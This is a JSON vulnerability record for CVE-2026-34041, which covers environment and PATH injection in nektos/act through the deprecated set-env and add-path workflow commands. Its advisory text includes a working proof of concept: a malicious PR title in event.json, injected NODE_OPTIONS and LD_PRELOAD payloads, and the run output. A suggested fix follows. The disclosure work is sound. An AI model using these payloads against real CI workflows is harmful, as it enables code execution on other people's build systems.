{"id":"CVE-2026-34041","aliases":["CVE-2026-34041","GHSA-xmgr-9pqc-h5vw","GO-2026-4891"],"related":[],"kind":"vulnerability","state":"published","title":"act: Unrestricted set-env and add-path command processing enables environment injection","summary":"act is a project which allows for local running of github actions. Prior to version 0.2.86, act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which was disabled due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This issue has been patched in version 0.2.86.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"act is a project which allows for local running of github actions. Prior to version 0.2.86, act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which was disabled due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This issue has been patched in version 0.2.86.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nact unconditionally processes the deprecated `::set-env::` and `::add-path::` workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes `act` strictly less secure than GitHub Actions for the same workflow file.\n\n## Vulnerable Code\n\n**`pkg/runner/command.go`, lines 52-58:**\n\n```go\nswitch command {\ncase \"set-env\":\n    rc.setEnv(ctx, kvPairs, arg)\ncase \"set-output\":\n    rc.setOutput(ctx, kvPairs, arg)\ncase \"add-path\":\n    rc.addPath(ctx, arg)\n```\n\nThere is no check for the `ACTIONS_ALLOW_UNSECURE_COMMANDS` environment variable. The string `ACTIONS_ALLOW_UNSECURE_COMMANDS` does not appear anywhere in the act codebase.\n\nOn GitHub Actions, these commands are rejected unless `ACTIONS_ALLOW_UNSECURE_COMMANDS=true` is set:\n\n```\nError: The `set-env` command is disabled. Please upgrade to using Environment Files\n  or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.\n```\n\n## PoC: Environment and PATH Injection via PR Title\n\n**Tested on:** act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0\n\n**Step 1 — Create a workflow that logs PR metadata:**\n\n`.github/workflows/vuln.yml`:\n```yaml\nname: Vulnerable Workflow\non: [pull_request]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Log PR info\n        run: |\n          echo \"Processing PR: ${{ github.event.pull_request.title }}\"\n\n      - name: Subsequent step - check environment\n        run: |\n          echo \"=== Environment Injection Check ===\"\n          echo \"NODE_OPTIONS=$NODE_OPTIONS\"\n          echo \"EVIL_VAR=$EVIL_VAR\"\n          echo \"PATH=$PATH\"\n```\n\n**Step 2 — Create a malicious event payload:**\n\n`event.json`:\n```json\n{\n  \"pull_request\": {\n    \"title\": \"Fix typo\\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\\n::add-path::/tmp/evil-bin\",\n    \"number\": 1,\n    \"head\": { \"ref\": \"fix-typo\", \"sha\": \"abc123\" },\n    \"base\": { \"ref\": \"main\", \"sha\": \"def456\" }\n  }\n}\n```\n\n**Step 3 — Run:**\n\n```bash\ngit init && git add -A && git commit -m \"init\"\nact pull_request -e event.json\n```\n\n**Result:**\n\n```\n[Vulnerable Workflow/build]   | Processing PR: Fix typo\n[Vulnerable Workflow/build]   ⚙  ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER\n[Vulnerable Workflow/build]   ⚙  ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js\n[Vulnerable Workflow/build]   ⚙  ::add-path:: /tmp/evil-bin\n[Vulnerable Workflow/build]   ✅  Success - Main Log PR info\n\n[Vulnerable Workflow/build]   | === Environment Injection Check ===\n[Vulnerable Workflow/build]   | NODE_OPTIONS=--require=/tmp/evil.js\n[Vulnerable Workflow/build]   | EVIL_VAR=INJECTED_BY_ATTACKER\n[Vulnerable Workflow/build]   | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n[Vulnerable Workflow/build]   | EXPLOITED: EVIL_VAR was injected into this step!\n[Vulnerable Workflow/build]   ✅  Success\n[Vulnerable Workflow/build] 🏁  Job succeeded\n```\n\nAll three injections succeeded silently:\n- `EVIL_VAR=INJECTED_BY_ATTACKER` — arbitrary env var injected into subsequent step\n- `NODE_OPTIONS=--require=/tmp/evil.js` — Node.js code execution vector\n- `/tmp/evil-bin` prepended to PATH — command hijacking vector\n\n## Attack Scenarios\n\n**Scenario 1: Malicious PR title/body.** An attacker opens a PR with `::set-env name=NODE_OPTIONS::--require=/tmp/evil.js` embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.\n\n**Scenario 2: Malicious branch name.** `${{ github.head_ref }}` is attacker-controlled. A branch named `fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so` can inject `LD_PRELOAD`, which causes every subsequent dynamically-linked binary to load the attacker's shared library.\n\n**Scenario 3: Commit message injection.** If a step runs `git log --oneline` and the output flows to stdout, an attacker's commit message containing `::set-env::` commands will be processed.\n\n## Impact\n\n- **Command injection** via env vars: `LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, `PERL5OPT` all enable arbitrary code execution\n- **PATH hijacking**: attacker-controlled directory prepended to PATH hijacks any subsequent command\n- **Cross-step escalation**: a step that merely logs untrusted data compromises all subsequent steps\n- **Supply chain risk**: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security\n\n## Suggested Fix\n\nAdd a check matching GitHub Actions' behavior:\n\n```go\ncase \"set-env\":\n    if rc.Env[\"ACTIONS_ALLOW_UNSECURE_COMMANDS\"] != \"true\" {\n        logger.Errorf(\"The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true\")\n        return false\n    }\n    rc.setEnv(ctx, kvPairs, arg)\ncase \"add-path\":\n    if rc.Env[\"ACTIONS_ALLOW_UNSECURE_COMMANDS\"] != \"true\" {\n        logger.Errorf(\"The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true\")\n        return false\n    }\n    rc.addPath(ctx, arg)\n```\n\nThis is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via `ACTIONS_ALLOW_UNSECURE_COMMANDS=true`, matching GitHub's approach.\n\n---\n\nWritten by Golan Myers","format":"markdown","source":"ghsa"},{"lang":"en","text":"act: Unrestricted set-env and add-path command processing enables environment injection in github.com/nektos/act","format":"markdown","source":"go"},{"lang":"es","text":"act es un proyecto que permite la ejecución local de acciones de GitHub. Antes de la versión 0.2.86, act procesa incondicionalmente los comandos de flujo de trabajo obsoletos ::set-env:: y ::add-path::, lo cual fue deshabilitado debido a riesgos de inyección de entorno. Cuando un paso de flujo de trabajo hace eco de datos no confiables a stdout, un atacante puede inyectar estos comandos para establecer variables de entorno arbitrarias o modificar la variable PATH para todos los pasos subsiguientes en el trabajo. Este problema ha sido parcheado en la versión 0.2.86.","source":"nvd"}],"published":"2026-03-27T19:17:00.000Z","modified":"2026-06-17T10:38:28.493Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.7,"rating":"HIGH"},{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-74"],"affected":[{"ranges":[{"version":"< 0.2.86","status":"affected"}],"vendor":"nektos","product":"act","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.2.86"}],"ecosystem":"Go","package":"github.com/nektos/act","purl":"pkg:golang/github.com/nektos/act","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.2.86"}],"ecosystem":"Go","package":"github.com/nektos/act","purl":"pkg:golang/github.com/nektos/act","source":"go"},{"ranges":[{"status":"affected","fixed":"0.2.86"}],"vendor":"nektos","product":"act","cpe":"cpe:2.3:a:nektos:act:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/nektos/act/security/advisories/GHSA-xmgr-9pqc-h5vw","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/nektos/act/commit/0c739c8e39c41aa5a07665f732da9cab6df0097a","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/nektos/act/releases/tag/v0.2.86","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34041","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/advisories/GHSA-mfwh-5m23-j46w","tags":["advisory","web"],"sources":["ghsa","go"]},{"url":"https://github.com/nektos/act","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-04-02T14:49:17.186Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34041","url":"https://www.cve.org/CVERecord?id=CVE-2026-34041","licence":"CVE Terms of Use","modified":"2026-04-02T14:49:57.581Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xmgr-9pqc-h5vw","url":"https://github.com/advisories/GHSA-xmgr-9pqc-h5vw","licence":"CC-BY-4.0","modified":"2026-04-02T21:26:04.645Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4891","url":"https://pkg.go.dev/vuln/GO-2026-4891","licence":"CC-BY-4.0","modified":"2026-04-02T21:20:05.868Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34041","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34041","licence":"Public domain","modified":"2026-06-17T10:38:28.493Z"}],"updatedAt":"2026-11-25T22:59:17.554Z","epss":{"score":0.00697,"percentile":0.54302,"date":"2026-12-01T12:00:22.000Z"}}